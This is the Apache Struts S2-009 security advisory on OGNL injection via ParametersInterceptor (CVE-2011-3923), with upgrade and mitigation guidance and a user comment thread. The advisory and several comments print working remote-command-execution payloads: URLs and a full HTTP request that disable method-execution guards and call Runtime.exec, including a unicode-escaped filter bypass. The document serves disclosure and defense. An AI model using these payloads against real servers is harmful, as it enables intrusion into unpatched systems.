S2-009
Skip to end of metadata
Go to start of metadata

Summary

ParameterInterceptor vulnerability allows remote command execution

Who should read this

All Struts 2 developers

Impact of vulnerability

Remote command execution

Maximum security rating

Critical

Recommendation

Developers should immediately upgrade to Struts 2.3.1.2 or read the following solution instructions carefully for a configuration change to mitigate the vulnerability

Affected Software

Struts 2.0.0 - Struts 2.3.1.1

Reporter

Meder Kydyraliev, Google Security Team

CVE Identifier

CVE-2011-3923

Original Description

Reported directly to security@struts.a.o

Problem

OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to bypass all the protections (regex pattern, deny method invocation) built into the ParametersInterceptor, thus being able to inject a malicious expression in any exposed string variable for further evaluation.

A similar behavior was already addressed in S2-003 and S2-005, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
Regular expression in ParametersInterceptor matches top['foo'](0) as a valid expression, which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.

Proof of concept

Vulnerable Action

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

encoded version:

/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

And the JUnit version

PoC

Solution

The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

Icon

It is strongly recommended to upgrade to Struts 2.3.1.2, which contains the corrected OGNL and XWork library.

In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:

Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters

The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:

Icon

Beware that the above pattern breaks the type conversion support for collection and map (those parameter names should be attached to acceptParamNames variable).
For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack

Labels
  • No labels
  1. Anonymous

    Hotfix with Apache mod_rewrite

    1. 悲剧啊!
      I will ...
      foo=(#context"xwork.MethodAccessor.denyMethodExecution"=new java.lang.Boolean(false), #_memberAccess"allowStaticMethodAcc\u0065ss"=new java.lang.Boolean(true), @java.lang.Runtime@getRuntim\u0065().exec('calc'))(meh)&top'foo'(0)=false
      no getRuntime and no allowStaticMethodAccess.

  2. Anonymous

    Hello

    in short:
    In our opinion, the fix from Maurizio Cucchiara is sufficient for the struts default-stack, but custom interceptors can easily (and accidentally) circumvent the fix and leaving the application vulnerable.

    The problem:
    we have tested the fix in struts 2.3.1.2 which was done by Maurizio Cucchiara with our application.
    Surprisingly it was not working in our setup. The reason is, that the changes made at ParametersInterceptor, OgnlValueStack, OgnlUtil and so on do not prevent the dangerous parameter value to be written into the ValueStack (OgnlValueStack).
    If the application reads the ValueStack with valueStack.findValue(aKey), the parameter value is evaluated by OGNL and the bogus code becomes executed!

    For instance: When an interceptor (or other application code) is simply reading the ValueStack like for debugging purposes, then an attack will succeed!
    Here a code snippet from our custom interceptor

    public String intercept (ActionInvocation invocation)
    throws Exception
    {
    ActionContext ac = invocation.getInvocationContext();
    ValueStack valueStack = ac.getValueStack();
    Map<String, Object> parameters = ac.getParameters();
    Iterator<Entry<String, Object>> it = parameters.entrySet().iterator();
    Entry<String, Object> entry = null;
    String value = null;

    for (; it.hasNext()

    Unknown macro: { entry = it.next(); value = (String) valueStack.findValue(entry.getKey()); // <== OGNL-Expression becomes evaluated! if (logDebug) logger.debug("ValueStack [key / value]}

    }

    The value from the OGNLValueStack in a attack scenario like the above mentioned would look like this:
    [...] ValueStack [key / value]: [myParameter / (#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('notepad'))(meh)]
    (Here the Windows Notepad Application gets startet)

    Suggestion:
    In OgnlUtil.setValue(String name, Map<String, Object> context, Object root, Object value, boolean evalName) the parameterName name is checked to be a value expression (isEvalExpression(...)).
    Why not check the parameter value too and throw the OgnlException in case it is a value expression?

    We would appreciate any suggestions to solve the problem.
    Of course the best would be another improvement of the struts2-ognl-integration

    Thanks in advance
    Marcus Zander, Germany

    1. Anonymous

      Hi Marcus,

      I am not able to reprodue this issue , following are my jar versions -
      struts2-core-2.0.12.jar
      xwork-2.0.4.jar
      ognl-2.6.11.jar

      Also I tried adding a cusom interceptor and reading the values , still the expression is not get evaluated.

      1. Anonymous

        Hi

        I could reproduce the issue with struts2-core-2.0.11.jar & xwork-2.0.4.jar

        http://host:port//context/someAction.do?('\u0023_memberAccess\'allowStaticMethodAccess\'')(meh)=true&(aaa)(('\u0023context\'xwork.MethodAccessor.denyMethodExecution\'\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

        Regards
        Agilan Palani

  3. Anonymous

    Hi,
    Tried the workaround and I'm seeing this in my app server log:
    20:48:582 EDT 0000004b OgnlUtil W com.opensymphony.xwork2.util.OgnlUtil internalSetProperty Caught OgnlException while setting property 'acceptParamNames' on type 'com.opensymphony.xwork2.interceptor.ParametersInterceptor'.
    ognl.NoSuchPropertyException: com.opensymphony.xwork2.interceptor.ParametersInterceptor.acceptParamNames
    at ognl.ObjectPropertyAccessor.setProperty(ObjectPropertyAccessor.java:132)

    I'm using struts 2.0.14 and xwork 2.0.7. Overrode the entire default stack in my default package as such:

    <interceptors>
    <interceptor-stack name="defaultStack">
    <interceptor-ref name="exception"/>
    <interceptor-ref name="alias"/>
    <interceptor-ref name="servletConfig"/>
    <interceptor-ref name="prepare"/>
    <interceptor-ref name="i18n"/>
    <interceptor-ref name="chain"/>
    <!-- <interceptor-ref name="debugging"/> -->
    <interceptor-ref name="profiling"/>
    <interceptor-ref name="scopedModelDriven"/>
    <interceptor-ref name="modelDriven"/>
    <interceptor-ref name="fileUpload"/>
    <interceptor-ref name="checkbox"/>
    <interceptor-ref name="staticParams"/>
    <interceptor-ref name="params">
    <param name="excludeParams">dojo\..*</param>
    <param name="acceptParamNames">\w+((\.\w+)|([\d+])|(['\w+']))*</param>
    </interceptor-ref>
    <interceptor-ref name="conversionError"/>
    <interceptor-ref name="validation">
    <param name="excludeMethods">input,back,cancel,browse</param>
    </interceptor-ref>
    <interceptor-ref name="workflow">
    <param name="excludeMethods">input,back,cancel,browse</param>
    </interceptor-ref>
    </interceptor-stack>
    </interceptors>

    <default-interceptor-ref name="defaultStack"/>

    Why is acceptParamNames not being recognized as a property for the ParameterInterceptor?

    1. Anonymous

      Just checked and am actually using xwork 2.0.4. According to source seems like this version does not accept params?

      1. Probably you are right (smile)

  4. with following http package,

    GET /struts2-showcase-2.0.6/validation/submitFieldValidatorsExamples.action;jsessionid=94F890877E7F79CFF505D3166F099E56?requiredValidatorField=(%23context'xwork.MethodAccessor.denyMethodExecution'=false,%23_memberAccess'allowStaticMethodAccess'=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23rep=@org.apache.struts2.ServletActionContext@getResponse(),%23webStr=new%20byte51020,%23rep.getWriter().println(new%20java.lang.StringBuilder(%22tfavodrisy%22).append(%22~not_exist_in_html%22).append(%23req.getRealPath(%22%2F%22)).append(%22~3.1415621%22).toString()))(iydx)&z%28requiredValidatorField%29%28%27iydx%27%29=true HTTP/1.1
    Accept-Encoding: identity
    Host: darksalmon.net
    Connection: close
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)

    it failed, and struts version is 2.0.6, but when I tested it with 2.3.1.1, it worked well, so would you give some point about the reason why it failed?

    1. code changes? 2.0.6 is very old and this attack was prepared against 2.3.x, 2.0.x has some other vulnerabilities (wink)

  5. with folloing http package,

    GET /struts2-showcase-2.0.6/validation/submitFieldValidatorsExamples.action;jsessionid=94F890877E7F79CFF505D3166F099E56?requiredValidatorField=(%23context'xwork.MethodAccessor.denyMethodExecution'=false,%23_memberAccess'allowStaticMethodAccess'=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23rep=@org.apache.struts2.ServletActionContext@getResponse(),%23webStr=new%20byte51020,%23rep.getWriter().println(new%20java.lang.StringBuilder(%22tfavodrisy%22).append(%22~not_exist_in_html%22).append(%23req.getRealPath(%22%2F%22)).append(%22~3.1415621%22).toString()))(iydx)&z%28requiredValidatorField%29%28%27iydx%27%29=true HTTP/1.1
    Accept-Encoding: identity
    Host: darksalmon.net
    Connection: close
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)

    it failed, and struts version is 2.0.6, but when I tested it with 2.3.1.1, it worked well, so would you give some point about the reason why it failed?